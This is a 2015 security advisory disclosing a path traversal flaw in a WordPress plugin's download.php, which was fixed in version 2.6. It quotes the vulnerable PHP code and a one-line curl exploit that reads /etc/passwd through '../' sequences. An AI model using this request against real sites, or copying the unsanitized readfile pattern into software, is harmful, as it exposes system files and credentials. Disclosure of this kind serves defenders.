Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5

2015-07-14T00:00:00
ID SECURITYVULNS:DOC:32328
Type securityvulns
Reporter Securityvulns
Modified 2015-07-14T00:00:00

Description

Title: Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5 Author: Larry W. Cashdollar, @_larry0 Date: 2015-07-05 Download Site: https://wordpress.org/plugins/wp-ecommerce-shop-styling Vendor: https://profiles.wordpress.org/haet/ Vendor Notified: 2015-07-05, fixed in version 2.6. Vendor Contact: http://wpshopstyling.com Advisory: http://www.vapid.dhs.org/advisory.php?v=136 Description: Customize your WP ecommerce store with HTML mail templates, message content, transaction results and PDF invoices with WYSIWYG editor and placeholders. Vulnerability: The code in ./wp-ecommerce-shop-styling/includes/download.php doesn't sanitize user input to prevent sensitive system files from being downloaded.

1 <?php 2 require_once("../../../../wp-admin/admin.php"); 3 4 header('Content-disposition: attachment; filename='.$_GET['filename']); 5 header('Content-type: application/pdf'); 6 readfile(HAET_INVOICE_PATH.$_GET['filename']); 7 ?>

You'll have to rename the download file via mv -- -..-..-..-..-..-..-..-..-etc-passwd passwd as the filename is set to the download filename with path.

CVEID: Requested TBD
OSVDB: TBD

Exploit Code: • $ curl http://www.example.com/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../../../../../../etc/passwd